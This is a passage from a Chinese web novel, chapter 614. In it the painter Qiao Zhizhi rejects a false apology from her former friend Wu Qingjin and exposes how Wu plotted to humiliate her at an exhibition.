柴管家不为所动,心想你黄鼠狼给鸡拜年,谁会相信你怀着好心。 他哼了一声:“我们枝枝姑娘承受不起,武姑娘,你真的知道错了,以后好好做人,大家也是看在眼里的,不用专程来这里。” 武青瑾知道和这管家说不通,她干脆仰起头,看着门里,含着委屈大声道:“枝枝,我对不住你,我日夜受着良心的谴责,吃不好睡不下,请你看在我们两年交情的份上,出来见我一面吧。” 第614章 不如说说,你错在哪里了 因为武青瑾不是简单的嫉妒她,从她去向广平王请求给她办画展,就是在谋算,想把她一步步推入泥坑,让她再也爬不起来。 乔枝枝很清楚,有的事情可以原谅,有的事情一旦做了,此生不复往来都是轻的,她还没有报答回去呢。 或许,武青瑾这一次所受的打击,心理上的巨大落差,就是一种报应。 武青瑾见乔枝枝不出来,却也没有放弃,直喊到声声破碎嘶哑,仿佛一只泣血的杜鹃。 她按着心口,在乔家门口摇摇欲坠,满眼通红,神色一片哀凄。 不知道的,还以为她有多么情真意切。 柴管家冷冷地看着,就像看戏一样。 他也不阻拦,就想看看这武青瑾能够演到什么程度。 见武青瑾这个样子,他都不由得感叹一句,这演技还真不赖。 只是,他吃了几十年的盐了,不会相信一个心存恶念,想要害人的人突然转了秉性。 抬眼一看,乔枝枝走了出来,柴管家有点紧张,武青瑾这样卖力,枝枝姑娘不会感动了吧,毕竟有两年的友情基础在,心态跟他们这些外人还是不一样的。 他担心枝枝姑娘一个心软,再一次上当受骗,正要说话,乔枝枝对他抬手示意,表情很镇定。 武青瑾看到乔枝枝,眼睛一亮,满眼含泪:“枝枝,你终于肯出来见我了,你不怪我了是不是。” 说着张开手臂,就朝乔枝枝扑过来。 乔枝枝没有说话,身后的两个婢女就上前,把武青瑾给拦住。 武青瑾伸出的手,就连乔枝枝的衣服都没有碰到。 “枝枝你——” 乔枝枝垂下眼皮,拍了拍差点被武青瑾抓到的袖子。 “武姑娘,你找我来道歉,那不如说说,你错在哪里了。” 武青瑾愣了一下,乔枝枝这个态度,好像是故意出来刁难她似的。 果然达到目的了,得逞了,就不演了。 她看了看乔枝枝的双手,纤长有力,的确适合画画。 而她要做的,就是毁掉这双手,只有乔枝枝重新接纳她,她才有机会做到这一点。 武青瑾一咬牙,对着乔枝枝就跪了下来。 “没错,我看到你在画展上大放异彩,嫉妒你小小年纪就有如此亮眼的表现,心态失去平衡,就冷落了你,我不该存在这样的心理,我们是朋友,彼此应该真心相待,我现在已经想通了,你有成就,正是我想要看到的,我为你感到高兴,枝枝,对不起,我再也不会这样了,以后你是红花,我就是绿叶,我甘愿做你一辈子的陪衬。” “就这些吗?”乔枝枝轻飘飘一句,却带着刺骨的力道。 她并不觉得武青瑾跪她,她就折寿了,武青瑾设计害她,身上本就带罪孽。 武青瑾自问她认罪的态度已经无可挑剔,这乔枝枝还想听什么。 “枝枝,该说的我已经说了,我是真心跟你道歉,希望你不计前嫌,我们重新做回朋友,我会让你看到我的诚意。” 乔枝枝平静地看着她:“你让我在水墨画里写实,还说时下流行,可是后来我了解过,大泽国一直是写意为主,在原本有限的技巧和颜料种类上,非要写实,只会弄巧成拙,显得呆板滞笨,我也按照你说的试过,画作根本不能看。” “如果我用这样的画作展出,只会受尽指责和嘲笑,你说,这不是你想要看到的局面吗?” “你请了那么多与你有交情的高门贵女公子,那些名流大家,也多是你们武家的世交,就等着大家众口一词,将我践踏到泥土里,摧毁掉我全部的信心。” “你来跟我道歉,却是避重就轻,以为这样,我就不能识别你的真面目,你现在来接近我,定然还有别的打算,反正我现在已经看清楚你是什么样的人了,你不如说说,你还想做什么。” 乔枝枝挑破真相的话,仿佛重锤,不断锤打在武青瑾的心口上,让她哑口,一时找不到辩驳。 她虚伪至极的伪装,就这样被一层层揭破,现在她跪在地上,就像一个无处躲藏的小丑。 “不是这样的,枝枝你听我说,是有人告诉我的,可能要流行写实风格,你看你现在拿出写实的油画,不是很受欢迎吗?证明我跟你说的没错,我成全了你啊枝枝。”武青瑾脑门拼命转了几转,拿出来这个说法,应该能圆过来了。 可是如今的乔枝枝,多长了两年的心性,哪里那么好糊弄。 “油画是引起了很大的反响,是因为高度还原的写实效果带给人惊奇,是因为能够做到,这是你,以及所有人意料之外的事情,水墨画很难做到,你让我在水墨上添笔,画蛇添足,还说是成全我。” “真的按照你说的来,我现在应该是躲在家里,承受着外面的风雨,甚至连门也不敢出,而你那时候假情假意地安慰我,继续虚伪地跟我做朋友,一边踩着我捞取更大的名头。” 武青瑾跪得膝盖酸疼,而她说什么乔枝枝都不信,反而毫不留情地揭穿。 看乔枝枝冷漠的脸,完全不顾昔日交情的姿态,武青瑾就知道,她今天是白来白跪了,就连乔枝枝的心意都不能撬动一分。 “乔枝枝,你把话说得这样绝,真的是完全不把我当朋友了。” 武青瑾按着膝盖,慢慢站起身来,语气里夹杂了恨意。 “是你把事情做得绝,我只不过说出事实而已。”乔枝枝嘴角边勾起一抹冷笑:“从你算计我的那天起,我们已经不是朋友了。” “乔家门前不欢迎你,如果你还要点脸的话,就再也不要出现。” 武青瑾也笑了,摆出了一种敌对的阵势。 “你真的以为,在广平王府成名,你就可以永远高枕无忧了?” “你今天的一切拜我所赐,我会让你都还回来。” 乔枝枝微微颔首:“你撕破脸皮了,很好,不然看着你演戏,我都觉得心累。”